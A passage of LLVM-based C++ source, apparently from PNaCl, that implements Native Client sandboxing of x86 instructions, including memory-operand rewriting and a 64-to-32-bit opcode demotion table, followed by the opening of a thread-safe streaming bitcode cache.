MCOperand &Base = Inst.getOperand(MemIdx);
MCOperand &Scale = Inst.getOperand(MemIdx + 1);
MCOperand &Index = Inst.getOperand(MemIdx + 2);
MCOperand &Offset = Inst.getOperand(MemIdx + 3);
MCOperand &Segment = Inst.getOperand(MemIdx + 4);
// In the cases below, we want to promote any registers in the
// memory operand to 64 bits.
if (isAbsoluteReg(Base.getReg()) && Index.getReg() == 0) {
Base.setReg(getReg64(Base.getReg()));
} else if (Base.getReg() == 0 && isAbsoluteReg(Index.getReg()) &&
Scale.getImm() == 1) {
Base.setReg(getReg64(Index.getReg()));
Index.setReg(0);
} else if (isAbsoluteReg(Base.getReg()) && !isAbsoluteReg(Index.getReg())) {
clearHighBits(Index, Out, STI);
Base.setReg(getReg64(Base.getReg()));
Index.setReg(getReg64(Index.getReg()));
} else if (Index.getReg() == 0) {
clearHighBits(Base, Out, STI);
Index.setReg(getReg64(Base.getReg()));
Base.setReg(X86::R15);
} else {
unsigned Scratch32 = 0;
if (ScratchReg != 0)
Scratch32 = getReg32(ScratchReg);
else
Error(Inst, "Not enough scratch registers specified");
unsigned Scratch64 = getReg64(Scratch32);
unsigned BaseReg64 = getReg64(Base.getReg());
unsigned IndexReg64 = getReg64(Index.getReg());
MCInst Lea;
Lea.setOpcode(X86::LEA64_32r);
Lea.addOperand(MCOperand::CreateReg(Scratch32));
Lea.addOperand(MCOperand::CreateReg(BaseReg64));
Lea.addOperand(Scale);
Lea.addOperand(MCOperand::CreateReg(IndexReg64));
Lea.addOperand(Offset);
Lea.addOperand(Segment);
// Specical case if there is no base or scale
if (Base.getReg() == 0 && Scale.getImm() == 1) {
Lea.getOperand(1).setReg(IndexReg64); // Base
Lea.getOperand(3).setReg(0); // Index
}
Out.EmitInstruction(Lea, STI);
Base.setReg(X86::R15);
Scale.setImm(1);
Index.setReg(Scratch64);
Offset.setImm(0);
}
}
// Returns true if sandboxing the memory operand specified at Idx of
// Inst will emit any auxillary instructions.
// Used in emitSandboxMemOps as a helper.
static bool willEmitSandboxInsts(const MCInst &Inst, int Idx) {
const MCOperand &Base = Inst.getOperand(Idx);
const MCOperand &Scale = Inst.getOperand(Idx + 1);
const MCOperand &Index = Inst.getOperand(Idx + 2);
if (isAbsoluteReg(Base.getReg()) && Index.getReg() == 0) {
return false;
} else if (Base.getReg() == 0 && isAbsoluteReg(Index.getReg()) &&
Scale.getImm() == 1) {
return false;
}
return true;
}
// Emits the instructions that are used to sandbox the memory operands.
// Modifies memory operands of Inst in place, but does NOT EMIT Inst.
// If any instructions are emitted, it will precede them with a .bundle_lock
// Returns true if any instructions were emitted, otherwise false.
// Note that this method can modify Inst, but still return false if no
// auxiliary sandboxing instructions were emitted.
bool X86::X86MCNaClExpander::emitSandboxMemOps(MCInst &Inst,
unsigned ScratchReg,
MCStreamer &Out,
const MCSubtargetInfo &STI) {
const MCOperandInfo *OpInfo = InstInfo->get(Inst.getOpcode()).OpInfo;
bool anyInstsEmitted = false;
for (int i = 0, e = Inst.getNumOperands(); i < e; ++i) {
if (OpInfo[i].OperandType == MCOI::OPERAND_MEMORY) {
if (!anyInstsEmitted && willEmitSandboxInsts(Inst, i)) {
Out.EmitBundleLock(false);
anyInstsEmitted = true;
}
emitSandboxMemOp(Inst, i, ScratchReg, Out, STI);
i += 4;
}
}
return anyInstsEmitted;
}
// Expands any operations that load to or store from memory, but do
// not explicitly modify the stack or base pointer.
void X86::X86MCNaClExpander::expandLoadStore(const MCInst &Inst,
MCStreamer &Out,
const MCSubtargetInfo &STI,
bool EmitPrefixes) {
assert(!explicitlyModifiesRegister(Inst, X86::RBP));
assert(!explicitlyModifiesRegister(Inst, X86::RSP));
// Optimize if we are doing a mov into a register
bool ElideScratchReg = false;
switch (Inst.getOpcode()) {
case X86::MOV64rm:
case X86::MOV32rm:
case X86::MOV16rm:
case X86::MOV8rm:
ElideScratchReg = true;
default:
break;
}
MCInst SandboxedInst(Inst);
unsigned ScratchReg;
if (ElideScratchReg)
ScratchReg = Inst.getOperand(0).getReg();
else if (numScratchRegs() > 0)
ScratchReg = getScratchReg(0);
else
ScratchReg = 0;
bool BundleLock = emitSandboxMemOps(SandboxedInst, ScratchReg, Out, STI);
emitInstruction(SandboxedInst, Out, STI, EmitPrefixes);
if (BundleLock)
Out.EmitBundleUnlock();
}
static bool isStringOperation(const MCInst &Inst) {
switch (Inst.getOpcode()) {
case X86::CMPSB:
case X86::CMPSW:
case X86::CMPSL:
case X86::CMPSQ:
case X86::MOVSB:
case X86::MOVSW:
case X86::MOVSL:
case X86::MOVSQ:
case X86::STOSB:
case X86::STOSW:
case X86::STOSL:
case X86::STOSQ:
return true;
}
return false;
}
static void fixupStringOpReg(const MCOperand &Op, MCStreamer &Out,
const MCSubtargetInfo &STI) {
clearHighBits(Op, Out, STI);
MCInst Lea;
Lea.setOpcode(X86::LEA64r);
Lea.addOperand(MCOperand::CreateReg(getReg64(Op.getReg())));
Lea.addOperand(MCOperand::CreateReg(X86::R15));
Lea.addOperand(MCOperand::CreateImm(1));
Lea.addOperand(MCOperand::CreateReg(getReg64(Op.getReg())));
Lea.addOperand(MCOperand::CreateImm(0));
Lea.addOperand(MCOperand::CreateReg(0));
Out.EmitInstruction(Lea, STI);
}
void X86::X86MCNaClExpander::expandStringOperation(const MCInst &Inst,
MCStreamer &Out,
const MCSubtargetInfo &STI,
bool EmitPrefixes) {
Out.EmitBundleLock(false);
switch (Inst.getOpcode()) {
case X86::CMPSB:
case X86::CMPSW:
case X86::CMPSL:
case X86::CMPSQ:
case X86::MOVSB:
case X86::MOVSW:
case X86::MOVSL:
case X86::MOVSQ:
fixupStringOpReg(Inst.getOperand(0), Out, STI);
fixupStringOpReg(Inst.getOperand(1), Out, STI);
break;
case X86::STOSB:
case X86::STOSW:
case X86::STOSL:
case X86::STOSQ:
fixupStringOpReg(Inst.getOperand(0), Out, STI);
break;
}
emitInstruction(Inst, Out, STI, EmitPrefixes);
Out.EmitBundleUnlock();
}
static void demoteInst(MCInst &Inst, const MCInstrInfo &InstInfo) {
unsigned NewOpc = demoteOpcode(Inst.getOpcode());
Inst.setOpcode(NewOpc);
// demote all general purpose 64 bit registers to 32 bits
const MCOperandInfo *OpInfo = InstInfo.get(Inst.getOpcode()).OpInfo;
for (int i = 0, e = Inst.getNumOperands(); i < e; ++i) {
if (OpInfo[i].OperandType == MCOI::OPERAND_REGISTER) {
assert(Inst.getOperand(i).isReg());
unsigned Reg = Inst.getOperand(i).getReg();
if (getReg64(Reg) == Reg) {
Inst.getOperand(i).setReg(getReg32(Reg));
}
}
}
}
static void emitStackFixup(unsigned StackReg, MCStreamer &Out,
const MCSubtargetInfo &STI) {
MCInst Lea;
Lea.setOpcode(X86::LEA64r);
Lea.addOperand(MCOperand::CreateReg(StackReg));
Lea.addOperand(MCOperand::CreateReg(StackReg));
Lea.addOperand(MCOperand::CreateImm(1));
Lea.addOperand(MCOperand::CreateReg(X86::R15));
Lea.addOperand(MCOperand::CreateImm(0));
Lea.addOperand(MCOperand::CreateReg(0));
Out.EmitInstruction(Lea, STI);
}
void X86::X86MCNaClExpander::expandExplicitStackManipulation(
unsigned StackReg, const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI, bool EmitPrefixes) {
// First, handle special cases where sandboxing is not required.
// Pop, push are not handled because %rsp or %rbp is not explicitly
// defined
if (Inst.getOpcode() == X86::MOV64rr) {
unsigned SrcReg = Inst.getOperand(1).getReg();
if (SrcReg == X86::RSP || SrcReg == X86::RBP)
return emitInstruction(Inst, Out, STI, EmitPrefixes);
} else if (Inst.getOpcode() == X86::AND64ri8) {
int Imm = Inst.getOperand(2).getImm();
if (-128 <= Imm && Imm <= -1 && StackReg == X86::RSP)
return emitInstruction(Inst, Out, STI, EmitPrefixes);
}
MCInst SandboxedInst(Inst);
demoteInst(SandboxedInst, *InstInfo);
unsigned ScratchReg;
if (numScratchRegs() > 0)
ScratchReg = getScratchReg(0);
else
ScratchReg = 0;
bool MemSandboxed = emitSandboxMemOps(SandboxedInst, ScratchReg, Out, STI);
Out.EmitBundleLock(false); // for stack fixup
emitInstruction(SandboxedInst, Out, STI, EmitPrefixes);
if (MemSandboxed)
Out.EmitBundleUnlock(); // for memory reference
emitStackFixup(StackReg, Out, STI);
Out.EmitBundleUnlock(); // for stack fixup
}
// Returns true if Inst is an X86 prefix
static bool isPrefix(const MCInst &Inst) {
switch (Inst.getOpcode()) {
case X86::LOCK_PREFIX:
case X86::REP_PREFIX:
case X86::REPNE_PREFIX:
case X86::REX64_PREFIX:
return true;
default:
return false;
}
}
// returns the stack register that is used in xchg instruction
static unsigned XCHGStackReg(const MCInst &Inst) {
unsigned Reg1 = 0, Reg2 = 0;
switch (Inst.getOpcode()) {
case X86::XCHG64ar:
case X86::XCHG64rm:
Reg1 = Inst.getOperand(0).getReg();
break;
case X86::XCHG64rr:
Reg1 = Inst.getOperand(0).getReg();
Reg2 = Inst.getOperand(2).getReg();
break;
default:
return 0;
}
if (Reg1 == X86::RSP || Reg1 == X86::RBP)
return Reg1;
if (Reg2 == X86::RSP || Reg2 == X86::RBP)
return Reg2;
return 0;
}
// Emit prefixes + instruction if EmitPrefixes argument is true.
// Otherwise, emit the bare instruction.
void X86::X86MCNaClExpander::emitInstruction(const MCInst &Inst,
MCStreamer &Out,
const MCSubtargetInfo &STI,
bool EmitPrefixes) {
if (EmitPrefixes) {
for (const MCInst &Prefix : Prefixes)
Out.EmitInstruction(Prefix, STI);
Prefixes.clear();
}
Out.EmitInstruction(Inst, STI);
}
void X86::X86MCNaClExpander::doExpandInst(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI,
bool EmitPrefixes) {
// Explicitly IGNORE all pseudo instructions, these will be handled in the
// older customExpandInst code
switch (Inst.getOpcode()) {
case X86::CALLpcrel32:
case X86::CALL64pcrel32:
case X86::NACL_CALL64d:
case X86::NACL_CALL32r:
case X86::NACL_CALL64r:
case X86::NACL_JMP32r:
case X86::NACL_JMP64r:
case X86::NACL_JMP64z:
case X86::NACL_RET32:
case X86::NACL_RET64:
case X86::NACL_RETI32:
case X86::NACL_ASPi8:
case X86::NACL_ASPi32:
case X86::NACL_SSPi8:
case X86::NACL_SSPi32:
case X86::NACL_ANDSPi8:
case X86::NACL_ANDSPi32:
case X86::NACL_SPADJi32:
case X86::NACL_RESTBPm:
case X86::NACL_RESTBPr:
case X86::NACL_RESTBPrz:
case X86::NACL_RESTSPm:
case X86::NACL_RESTSPr:
case X86::NACL_RESTSPrz:
emitInstruction(Inst, Out, STI, EmitPrefixes);
return;
default:
break;
}
for (int i = 0, e = Inst.getNumOperands(); i != e; ++i) {
const MCOperand &Op = Inst.getOperand(i);
if (Op.isReg() && Op.getReg() == X86::PSEUDO_NACL_SEG)
return emitInstruction(Inst, Out, STI, EmitPrefixes);
}
if (isPrefix(Inst)) {
return Prefixes.push_back(Inst);
} else if (isIndirectBranch(Inst) || isCall(Inst)) {
expandIndirectBranch(Inst, Out, STI);
} else if (isReturn(Inst)) {
expandReturn(Inst, Out, STI);
} else if (Is64Bit && isStringOperation(Inst)) {
expandStringOperation(Inst, Out, STI, EmitPrefixes);
} else if (Is64Bit && explicitlyModifiesRegister(Inst, X86::RSP)) {
expandExplicitStackManipulation(X86::RSP, Inst, Out, STI, EmitPrefixes);
} else if (Is64Bit && explicitlyModifiesRegister(Inst, X86::RBP)) {
expandExplicitStackManipulation(X86::RBP, Inst, Out, STI, EmitPrefixes);
} else if (unsigned StackReg = XCHGStackReg(Inst)) {
// the above case doesnt catch xchg instruction, so special case
expandExplicitStackManipulation(StackReg, Inst, Out, STI, EmitPrefixes);
} else if (Is64Bit) {
return expandLoadStore(Inst, Out, STI, EmitPrefixes);
} else {
emitInstruction(Inst, Out, STI, EmitPrefixes);
}
}
bool X86::X86MCNaClExpander::expandInst(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI) {
if (Guard)
return false;
Guard = true;
doExpandInst(Inst, Out, STI, true);
invalidateScratchRegs(Inst);
Guard = false;
return true;
}
static unsigned demoteOpcode(unsigned Opcode) {
switch (Opcode) {
case X86::ADC64rr:
return X86::ADC32rr;
case X86::ADC64ri8:
return X86::ADC32ri8;
case X86::ADC64ri32:
return X86::ADC32ri;
case X86::ADC64rm:
return X86::ADC32rm;
case X86::ADCX64rr:
return X86::ADCX32rr;
case X86::ADCX64rm:
return X86::ADCX32rm;
case X86::ADD64rr:
return X86::ADD32rr;
case X86::ADD64ri8:
return X86::ADD32ri8;
case X86::ADD64ri32:
return X86::ADD32ri;
case X86::ADD64rm:
return X86::ADD32rm;
case X86::ADOX64rr:
return X86::ADOX32rr;
case X86::ADOX64rm:
return X86::ADOX32rm;
case X86::ANDN64rr:
return X86::ANDN32rr;
case X86::ANDN64rm:
return X86::ANDN32rm;
case X86::AND64rr:
return X86::AND32rr;
case X86::AND64ri8:
return X86::AND32ri8;
case X86::AND64ri32:
return X86::AND32ri;
case X86::AND64rm:
return X86::AND32rm;
case X86::BEXTRI64ri:
return X86::BEXTRI32ri;
case X86::BEXTRI64mi:
return X86::BEXTRI32mi;
case X86::BEXTR64rr:
return X86::BEXTR32rr;
case X86::BEXTR64rm:
return X86::BEXTR32rm;
case X86::BLCFILL64rr:
return X86::BLCFILL32rr;
case X86::BLCFILL64rm:
return X86::BLCFILL32rm;
case X86::BLCI64rr:
return X86::BLCI32rr;
case X86::BLCI64rm:
return X86::BLCI32rm;
case X86::BLCIC64rr:
return X86::BLCIC32rr;
case X86::BLCIC64rm:
return X86::BLCIC32rm;
case X86::BLCMSK64rr:
return X86::BLCMSK32rr;
case X86::BLCMSK64rm:
return X86::BLCMSK32rm;
case X86::BLCS64rr:
return X86::BLCS32rr;
case X86::BLCS64rm:
return X86::BLCS32rm;
case X86::BLSFILL64rr:
return X86::BLSFILL32rr;
case X86::BLSFILL64rm:
return X86::BLSFILL32rm;
case X86::BLSIC64rr:
return X86::BLSIC32rr;
case X86::BLSIC64rm:
return X86::BLSIC32rm;
case X86::BLSI64rr:
return X86::BLSI32rr;
case X86::BLSI64rm:
return X86::BLSI32rm;
case X86::BLSMSK64rr:
return X86::BLSMSK32rr;
case X86::BLSMSK64rm:
return X86::BLSMSK32rm;
case X86::BLSR64rr:
return X86::BLSR32rr;
case X86::BLSR64rm:
return X86::BLSR32rm;
case X86::BSF64rr:
return X86::BSF32rr;
case X86::BSF64rm:
return X86::BSF32rm;
case X86::BSR64rr:
return X86::BSR32rr;
case X86::BSR64rm:
return X86::BSR32rm;
case X86::BSWAP64r:
return X86::BSWAP32r;
case X86::BTC64rr:
return X86::BTC32rr;
case X86::BTC64ri8:
return X86::BTC32ri8;
case X86::BT64rr:
return X86::BT32rr;
case X86::BT64ri8:
return X86::BT32ri8;
case X86::BTR64rr:
return X86::BTR32rr;
case X86::BTR64ri8:
return X86::BTR32ri8;
case X86::BTS64rr:
return X86::BTS32rr;
case X86::BTS64ri8:
return X86::BTS32ri8;
case X86::BZHI64rr:
return X86::BZHI32rr;
case X86::BZHI64rm:
return X86::BZHI32rm;
case X86::CALL64r:
return X86::CALL32r;
case X86::XOR64rr:
return X86::XOR32rr;
case X86::CMOVAE64rr:
return X86::CMOVAE32rr;
case X86::CMOVAE64rm:
return X86::CMOVAE32rm;
case X86::CMOVA64rr:
return X86::CMOVA32rr;
case X86::CMOVA64rm:
return X86::CMOVA32rm;
case X86::CMOVBE64rr:
return X86::CMOVBE32rr;
case X86::CMOVBE64rm:
return X86::CMOVBE32rm;
case X86::CMOVB64rr:
return X86::CMOVB32rr;
case X86::CMOVB64rm:
return X86::CMOVB32rm;
case X86::CMOVE64rr:
return X86::CMOVE32rr;
case X86::CMOVE64rm:
return X86::CMOVE32rm;
case X86::CMOVGE64rr:
return X86::CMOVGE32rr;
case X86::CMOVGE64rm:
return X86::CMOVGE32rm;
case X86::CMOVG64rr:
return X86::CMOVG32rr;
case X86::CMOVG64rm:
return X86::CMOVG32rm;
case X86::CMOVLE64rr:
return X86::CMOVLE32rr;
case X86::CMOVLE64rm:
return X86::CMOVLE32rm;
case X86::CMOVL64rr:
return X86::CMOVL32rr;
case X86::CMOVL64rm:
return X86::CMOVL32rm;
case X86::CMOVNE64rr:
return X86::CMOVNE32rr;
case X86::CMOVNE64rm:
return X86::CMOVNE32rm;
case X86::CMOVNO64rr:
return X86::CMOVNO32rr;
case X86::CMOVNO64rm:
return X86::CMOVNO32rm;
case X86::CMOVNP64rr:
return X86::CMOVNP32rr;
case X86::CMOVNP64rm:
return X86::CMOVNP32rm;
case X86::CMOVNS64rr:
return X86::CMOVNS32rr;
case X86::CMOVNS64rm:
return X86::CMOVNS32rm;
case X86::CMOVO64rr:
return X86::CMOVO32rr;
case X86::CMOVO64rm:
return X86::CMOVO32rm;
case X86::CMOVP64rr:
return X86::CMOVP32rr;
case X86::CMOVP64rm:
return X86::CMOVP32rm;
case X86::CMOVS64rr:
return X86::CMOVS32rr;
case X86::CMOVS64rm:
return X86::CMOVS32rm;
case X86::CMP64rr:
return X86::CMP32rr;
case X86::CMP64ri8:
return X86::CMP32ri8;
case X86::CMP64ri32:
return X86::CMP32ri;
case X86::CMP64rm:
return X86::CMP32rm;
case X86::CMPXCHG64rr:
return X86::CMPXCHG32rr;
case X86::CRC32r64r8:
return X86::CRC32r32r8;
case X86::CRC32r64m8:
return X86::CRC32r64m8;
case X86::CRC32r64r64:
return X86::CRC32r32r32;
case X86::CRC32r64m64:
return X86::CRC32r32m32;
case X86::CVTSD2SI64rr:
return X86::CVTSD2SIrr;
case X86::CVTSD2SI64rm:
return X86::CVTSD2SIrm;
case X86::CVTSS2SI64rr:
return X86::CVTSS2SIrr;
case X86::CVTSS2SI64rm:
return X86::CVTSS2SIrm;
case X86::CVTTSD2SI64rr:
return X86::CVTTSD2SIrr;
case X86::CVTTSD2SI64rm:
return X86::CVTTSD2SIrm;
case X86::CVTTSS2SI64rr:
return X86::CVTTSS2SIrr;
case X86::CVTTSS2SI64rm:
return X86::CVTTSS2SIrm;
case X86::DEC64r:
return X86::DEC32r;
case X86::DIV64r:
return X86::DIV32r;
case X86::IDIV64r:
return X86::IDIV32r;
case X86::IMUL64r:
return X86::IMUL32r;
case X86::IMUL64rr:
return X86::IMUL32rr;
case X86::IMUL64rri8:
return X86::IMUL32rri8;
case X86::IMUL64rri32:
return X86::IMUL32rri;
case X86::IMUL64rm:
return X86::IMUL32rm;
case X86::IMUL64rmi8:
return X86::IMUL32rmi8;
case X86::IMUL64rmi32:
return X86::IMUL32rmi;
case X86::INC64r:
return X86::INC32r;
case X86::INVEPT64:
return X86::INVEPT32;
case X86::INVPCID64:
return X86::INVPCID32;
case X86::INVVPID64:
return X86::INVVPID32;
case X86::JMP64r:
return X86::JMP32r;
case X86::KMOVQrk:
return X86::KMOVQrk;
case X86::LAR64rr:
return X86::LAR32rr;
case X86::LAR64rm:
return X86::LAR32rm;
case X86::LEA64r:
return X86::LEA32r;
case X86::LFS64rm:
return X86::LFS32rm;
case X86::LGS64rm:
return X86::LGS32rm;
case X86::LSL64rr:
return X86::LSL32rr;
case X86::LSL64rm:
return X86::LSL32rm;
case X86::LSS64rm:
return X86::LSS32rm;
case X86::LZCNT64rr:
return X86::LZCNT32rr;
case X86::LZCNT64rm:
return X86::LZCNT32rm;
case X86::MOV64ri:
return X86::MOV32ri;
case X86::MOVBE64rm:
return X86::MOVBE32rm;
case X86::MOV64rr:
return X86::MOV32rr;
case X86::MMX_MOVD64from64rr:
return X86::MMX_MOVD64grr;
case X86::MOVPQIto64rr:
return X86::MOVPDI2DIrr;
case X86::MOV64rs:
return X86::MOV32rs;
case X86::MOV64rd:
return X86::MOV32rd;
case X86::MOV64rc:
return X86::MOV32rc;
case X86::MOV64ri32:
return X86::MOV32ri;
case X86::MOV64rm:
return X86::MOV32rm;
case X86::MOVSX64rr8:
return X86::MOVSX32rr8;
case X86::MOVSX64rm8:
return X86::MOVSX32rm8;
case X86::MOVSX64rr32:
return X86::MOV32rr;
case X86::MOVSX64rm32:
return X86::MOV32rm;
case X86::MOVSX64rr16:
return X86::MOVSX32rr16;
case X86::MOVSX64rm16:
return X86::MOVSX32rm16;
case X86::MOVZX64rr8_Q:
return X86::MOVZX32rr8;
case X86::MOVZX64rm8_Q:
return X86::MOVZX32rm8;
case X86::MOVZX64rr16_Q:
return X86::MOVZX32rr16;
case X86::MOVZX64rm16_Q:
return X86::MOVZX32rm16;
case X86::MUL64r:
return X86::MUL32r;
case X86::MULX64rr:
return X86::MULX32rr;
case X86::MULX64rm:
return X86::MULX32rm;
case X86::NEG64r:
return X86::NEG32r;
case X86::NOT64r:
return X86::NOT32r;
case X86::OR64rr:
return X86::OR32rr;
case X86::OR64ri8:
return X86::OR32ri8;
case X86::OR64ri32:
return X86::OR32ri;
case X86::OR64rm:
return X86::OR32rm;
case X86::PDEP64rr:
return X86::PDEP32rr;
case X86::PDEP64rm:
return X86::PDEP32rm;
case X86::PEXT64rr:
return X86::PEXT32rr;
case X86::PEXT64rm:
return X86::PEXT32rm;
case X86::PEXTRQrr:
return X86::PEXTRQrr;
case X86::POPCNT64rr:
return X86::POPCNT32rr;
case X86::POPCNT64rm:
return X86::POPCNT32rm;
case X86::POP64r:
return X86::POP32r;
case X86::POP64rmr:
return X86::POP32rmr;
case X86::PUSH64r:
return X86::PUSH32r;
case X86::PUSH64rmr:
return X86::PUSH32rmr;
case X86::RCL64r1:
return X86::RCL32r1;
case X86::RCL64rCL:
return X86::RCL32rCL;
case X86::RCL64ri:
return X86::RCL32ri;
case X86::RCR64r1:
return X86::RCR32r1;
case X86::RCR64rCL:
return X86::RCR32rCL;
case X86::RCR64ri:
return X86::RCR32ri;
case X86::RDFSBASE64:
return X86::RDFSBASE64;
case X86::RDGSBASE64:
return X86::RDGSBASE64;
case X86::RDRAND64r:
return X86::RDRAND32r;
case X86::RDSEED64r:
return X86::RDSEED32r;
case X86::ROL64r1:
return X86::ROL32r1;
case X86::ROL64rCL:
return X86::ROL32rCL;
case X86::ROL64ri:
return X86::ROL32ri;
case X86::ROR64r1:
return X86::ROR32r1;
case X86::ROR64rCL:
return X86::ROR32rCL;
case X86::ROR64ri:
return X86::ROR32ri;
case X86::RORX64ri:
return X86::RORX32ri;
case X86::RORX64mi:
return X86::RORX64mi;
case X86::SAR64r1:
return X86::SAR32r1;
case X86::SAR64rCL:
return X86::SAR32rCL;
case X86::SAR64ri:
return X86::SAR32ri;
case X86::SARX64rr:
return X86::SARX32rr;
case X86::SARX64rm:
return X86::SARX32rm;
case X86::SBB64rr:
return X86::SBB32rr;
case X86::SBB64ri8:
return X86::SBB32ri8;
case X86::SBB64ri32:
return X86::SBB32ri;
case X86::SBB64rm:
return X86::SBB32rm;
case X86::SHLD64rrCL:
return X86::SHLD32rrCL;
case X86::SHLD64rri8:
return X86::SHLD32rri8;
case X86::SHL64r1:
return X86::SHL32r1;
case X86::SHL64rCL:
return X86::SHL32rCL;
case X86::SHL64ri:
return X86::SHL32ri;
case X86::SHLX64rr:
return X86::SHLX32rr;
case X86::SHLX64rm:
return X86::SHLX32rm;
case X86::SHRD64rrCL:
return X86::SHRD32rrCL;
case X86::SHRD64rri8:
return X86::SHRD32rri8;
case X86::SHR64r1:
return X86::SHR32r1;
case X86::SHR64rCL:
return X86::SHR32rCL;
case X86::SHR64ri:
return X86::SHR32ri;
case X86::SHRX64rr:
return X86::SHRX32rr;
case X86::SHRX64rm:
return X86::SHRX32rm;
case X86::SLDT64r:
return X86::SLDT32r;
case X86::SMSW64r:
return X86::SMSW32r;
case X86::STR64r:
return X86::STR32r;
case X86::SUB64rr:
return X86::SUB32rr;
case X86::SUB64ri8:
return X86::SUB32ri8;
case X86::SUB64ri32:
return X86::SUB32ri;
case X86::SUB64rm:
return X86::SUB32rm;
case X86::T1MSKC64rr:
return X86::T1MSKC32rr;
case X86::T1MSKC64rm:
return X86::T1MSKC32rm;
case X86::TEST64rr:
return X86::TEST32rr;
case X86::TEST64ri32:
return X86::TEST32ri;
case X86::TEST64rm:
return X86::TEST32rm;
case X86::TZCNT64rr:
return X86::TZCNT32rr;
case X86::TZCNT64rm:
return X86::TZCNT32rm;
case X86::TZMSK64rr:
return X86::TZMSK32rr;
case X86::TZMSK64rm:
return X86::TZMSK32rm;
case X86::VCVTSD2SI64rr:
return X86::VCVTSD2SIrr;
case X86::VCVTSD2SI64Zrr:
return X86::VCVTSD2SIZrr;
case X86::VCVTSD2SI64Zrm:
return X86::VCVTSD2SIZrm;
case X86::VCVTSD2SI64rm:
return X86::VCVTSD2SIrm;
case X86::VCVTSD2USI64Zrr:
return X86::VCVTSD2USIZrr;
case X86::VCVTSD2USI64Zrm:
return X86::VCVTSD2USIZrm;
case X86::VCVTSS2SI64rr:
return X86::VCVTSS2SIrr;
case X86::VCVTSS2SI64Zrr:
return X86::VCVTSS2SIZrr;
case X86::VCVTSS2SI64Zrm:
return X86::VCVTSS2SIZrm;
case X86::VCVTSS2SI64rm:
return X86::VCVTSS2SIrm;
case X86::VCVTSS2USI64Zrr:
return X86::VCVTSS2USIZrr;
case X86::VCVTSS2USI64Zrm:
return X86::VCVTSS2USIZrm;
case X86::VCVTTSD2SI64rr:
return X86::VCVTTSD2SIrr;
case X86::VCVTTSD2SI64Zrr:
return X86::VCVTTSD2SIZrr;
case X86::VCVTTSD2SI64Zrm:
return X86::VCVTTSD2SIZrm;
case X86::VCVTTSD2SI64rm:
return X86::VCVTTSD2SIrm;
case X86::VCVTTSD2USI64Zrr:
return X86::VCVTTSD2USIZrr;
case X86::VCVTTSD2USI64Zrm:
return X86::VCVTTSD2USIZrm;
case X86::VCVTTSS2SI64rr:
return X86::VCVTTSS2SIrr;
case X86::VCVTTSS2SI64Zrr:
return X86::VCVTTSS2SIZrr;
case X86::VCVTTSS2SI64Zrm:
return X86::VCVTTSS2SIZrm;
case X86::VCVTTSS2SI64rm:
return X86::VCVTTSS2SIrm;
case X86::VCVTTSS2USI64Zrr:
return X86::VCVTTSS2USIZrr;
case X86::VCVTTSS2USI64Zrm:
return X86::VCVTTSS2USIZrm;
case X86::VMOVPQIto64rr:
return X86::VMOVPDI2DIrr;
case X86::VMOVPQIto64Zrr:
return X86::VMOVPDI2DIZrr;
case X86::VMREAD64rr:
return X86::VMREAD32rr;
case X86::VMWRITE64rr:
return X86::VMWRITE32rr;
case X86::VMWRITE64rm:
return X86::VMWRITE32rm;
case X86::VPEXTRQrr:
return X86::VPEXTRQrr;
case X86::WRFSBASE64:
return X86::WRFSBASE;
case X86::WRGSBASE64:
return X86::WRGSBASE;
case X86::XADD64rr:
return X86::XADD32rr;
case X86::XCHG64ar:
return X86::XCHG32ar;
case X86::XCHG64rr:
return X86::XCHG32rr;
case X86::XCHG64rm:
return X86::XCHG32rm;
case X86::XOR64ri8:
return X86::XOR32ri8;
case X86::XOR64ri32:
return X86::XOR32ri;
case X86::XOR64rm:
return X86::XOR32rm;
default:
return Opcode;
}
}
<file_sep>/tools/pnacl-llc/ThreadedStreamingCache.cpp
//=- ThreadedStreamingCache.cpp - Cache for StreamingMemoryObject -*- C++ -*-=//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "ThreadedStreamingCache.h"
#include "llvm/Support/Compiler.h"
#include "llvm/Support/Mutex.h"
#include <cstring>
using namespace llvm;
using llvm::sys::ScopedLock;
ThreadedStreamingCache::ThreadedStreamingCache(
llvm::StreamingMemoryObject *S) : Streamer(S),
Cache(kCacheSize),
MinObjectSize(0),
CacheBase(-1) {
static_assert((kCacheSize & (kCacheSize - 1)) == 0,
"kCacheSize must be a power of 2");
}
void ThreadedStreamingCache::fetchCacheLine(uint64_t Address) const {
uint64_t Base = Address & kCacheSizeMask;
uint64_t BytesFetched;
ScopedLock L(StreamerLock);
if (Streamer->isValidAddress(Base + kCacheSize - 1)) {
BytesFetched = Streamer->readBytes(&Cache[0], kCacheSize, Base);
if (BytesFetched != kCacheSize) {
llvm::report_fatal_error(
"fetchCacheLine failed to fetch a full cache line");
}
MinObjectSize = Base + kCacheSize;
} else {
uint64_t End = Streamer->getExtent();
assert(End > Address && End <= Base + kCacheSize);
BytesFetched = Streamer->readBytes(&Cache[0], End - Base, Base);
if (BytesFetched != (End - Base)) {
llvm::report_fatal_error(
"fetchCacheLine failed to fetch rest of stream");
}
MinObjectSize = End;
}
CacheBase = Base;
}
uint64_t ThreadedStreamingCache::readBytes(uint8_t* Buf, uint64_t Size,
uint64_t Address) const {
// To keep the cache fetch simple, we currently require that no request cross
// the cache line. This isn't a problem for the bitcode reader because it only
// fetches a byte or a word (word may be 4 to 8 bytes) at a time.
uint64_t Upper = Address + Size;
if (Address < CacheBase || Upper > CacheBase + kCacheSize) {
// If completely outside of a cacheline, fetch the cacheline.
if ((Address & kCacheSizeMask) != ((Upper - 1) & kCacheSizeMask))
llvm::report_fatal_error("readBytes request spans cache lines");
// Fetch a cache line first, which may be partial.
fetchCacheLine(Address);
}
// Now the start Address should at least fit in the cache line,
// but Upper may still be beyond the Extent / MinObjectSize, so clamp.
if (Upper > MinObjectSize) {
// If in the cacheline but stretches beyone the MinObjectSize,
// only read up to MinObjectSize (caller uses readBytes to check EOF,
// and can guess / try to read more). MinObjectSize should be the same
// as EOF in this case otherwise it would have fit in the cacheline.
Size = MinObjectSize - Address;
}
memcpy(Buf, &Cache[Address - CacheBase], Size);
return Size;
}
uint64_t ThreadedStreamingCache::getExtent() const {
llvm::report_fatal_error(
"getExtent should not be called for pnacl streaming bitcode");
return 0;
}
bool ThreadedStreamingCache::isValidAddress(uint64_t Address) const {
if (Address < MinObjectSize)
return true;
